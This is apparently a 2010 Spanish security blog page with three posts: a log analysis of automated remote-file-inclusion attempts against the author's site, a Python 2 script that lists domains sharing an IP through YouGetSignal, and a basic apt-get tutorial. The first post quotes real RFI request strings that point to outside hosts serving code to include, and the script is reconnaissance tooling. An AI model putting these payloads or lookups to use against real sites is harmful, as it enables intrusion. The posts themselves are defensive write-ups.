Como ya ocurriera en el post "Primeros ataques, siguiendo el rastro", recientemente he revisado mis log y he detectado varios ataque automatizados. En esta ocasión solo buscaban fallos RFI (remote file include).
El día 2010/03/19 a las 16:52:15 desde 95.110.224.XXX (Italia)
Petición: “?p=153//errors.php?error=www.xxxxxxxxxxx.or.kr/id?″
User-Agent: libwww-perl/5.805
Intentaba incluir un código alojado en una web coreana con IP 211.202.2.XXX
El día 2010/03/12 a las 03:00:35 desde 187.40.43.XXX (Brasil)
Petición: “?p=http://www.xxxxxxxxxxx.net/id.txt??″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en una web italiana con IP 213.217.147.XXX
El día 2010/03/07 a las 22:00:13 desde 64.186.137.XXX (EEUU)
Petición: “?p=ftp://xxxuserxxx:xxxpassxxx@ftp.xxxxxxxxxxx.com.br/SenderMail.php?″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en un ftp brasileño con IP 200.149.77.XXX, claro para poder acceder deja su usuario y clave.
Solo uno de estos ataques ha sido "parado" por mi herramienta Save Bot, dado que no estaba incorporada la "firma" para ese user-agent (Indy Library).
Ya la he añadido en mi beta personal y la nueva versión estará proximamente disponible.
24 de marzo de 2010
23 de marzo de 2010
WebSearch usando "you get signal"
Recientemente he visto en Pentest.es un programa que dada un IP o lista de IPs busca los dominios que le pertenecen.
Para este objetivo hace uso de el API de Bing. Me ha parecido muy buena idea, y yo he creado una función que realiza lo mismo. Desde aquí invito a que añadan a WebSearch si les gusta.
Esta utilidad hace uso de YouGetSignal para obtener los datos de dominios.
UPDATE: cambiado el nombre "list" por "lista" by david G.
Para este objetivo hace uso de el API de Bing. Me ha parecido muy buena idea, y yo he creado una función que realiza lo mismo. Desde aquí invito a que añadan a WebSearch si les gusta.
Esta utilidad hace uso de YouGetSignal para obtener los datos de dominios.
'''
@license: LGPL [http://www.gnu.org/licenses/lgpl.html]
@author: ehooo [ehooo[de]rollanwar[punto]net]
'''
import json, httplib, urllib
def search_you_get_signal(ip):
params = urllib.urlencode({'remoteAddress': ip, 'key': ""})
connection = httplib.HTTPConnection("www.yougetsignal.com")
headers = {"Host":"www.yougetsignal.com",\
"User-Agent":"WebSearch (YouGetSignal version)",\
"Accept":"*/*",\
"X-Requested-With":"XMLHttpRequest",\
"X-Prototype-Version":"1.6.0",\
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}
url = "/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php"
connection.request("POST", url, params, headers)
response = connection.getresponse()
lista = []
if response.status is httplib.OK:
json_response = response.read()
json_parse = json.loads(json_response)
if 'domainArray' in json_parse:
for (domain, desc) in json_parse['domainArray']:
lista.append(domain)
else:
print "ERROR:"
print json_parse
else:
print "ERROR:"
print response.getheaders()
return lista
if __name__ == '__main__':
import getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "i:", ["ip="])
except getopt.error, msg:
print msg
print sys.argv[0] + " [ -i | --ip= ]"
exit(2)
ip = None
for o, a in opts:
if o in ("-i", "--ip"):
ip = a
if ip is None:
print sys.argv[0] + " [ -i | --ip= ]"
exit(1)
list_domain = search_you_get_signal(ip)
for domain in list_domain:
print domain
UPDATE: cambiado el nombre "list" por "lista" by david G.
22 de marzo de 2010
Un poco de APT-get
APT son las siglas de Advanced Packaging Tool (Herramienta Avanzada de Empaquetado). Esta herramienta permite al administrador del sistema, gestionar los paquetes de su sistema Linux. APT simplifica en gran medida la instalación y eliminación de programas en los sistemas GNU/Linux.
La principal utilidad de este servicio es el comando apt-get, que nos permite instalar, actualizar y eliminar paquetes y programas descargando también las dependencias necesarias.
No confundir con Advanced Persistent Threats (APT también) que es una categoría de crimeware dirigido a las empresas.
APT usa una lista de repositorios alojada en "/etc/apt/sources.list" desde donde se indica la ubicación y los paquetes necesarios para la instalación de un programa. Cada distribución Linux basada en Debian suele tener su propia lista de repositorios.
Antes de instalar o actualizar recomiendo ejecutar:
Este comando actualiza la lista de paquetes, de este modo aseguras descargar la última versión.
NOTA: Archivos "lock":
Documentación:
http://www.debian.org/doc/manuals/apt-howto/index.es.html
http://es.wikipedia.org/wiki/Advanced_Packaging_Tool
La principal utilidad de este servicio es el comando apt-get, que nos permite instalar, actualizar y eliminar paquetes y programas descargando también las dependencias necesarias.
No confundir con Advanced Persistent Threats (APT también) que es una categoría de crimeware dirigido a las empresas.
APT usa una lista de repositorios alojada en "/etc/apt/sources.list" desde donde se indica la ubicación y los paquetes necesarios para la instalación de un programa. Cada distribución Linux basada en Debian suele tener su propia lista de repositorios.
Antes de instalar o actualizar recomiendo ejecutar:
apt-get update
Este comando actualiza la lista de paquetes, de este modo aseguras descargar la última versión.
- Instalar:
# apt-get install <paquete>
Reinstalar:# apt-get --reinstall install <paquete>
- Actualizar (-u Muestra los paquetes que se actualizarán):
# apt-get -u upgrade
Actualizar distribución:# apt-get -u dist-upgrade
- Eliminar:
# apt-get remove <paquete>
También ficheros de configuración.:# apt-get --purge remove <paquete>
Eliminar paquetes no usados (todo excepto los archivos "lock")# apt-get clean
NOTA: Archivos "lock":
/var/cache/apt/archives/
/var/cache/apt/archives/partial/
Documentación:
http://www.debian.org/doc/manuals/apt-howto/index.es.html
http://es.wikipedia.org/wiki/Advanced_Packaging_Tool
Suscribirse a:
Entradas (Atom)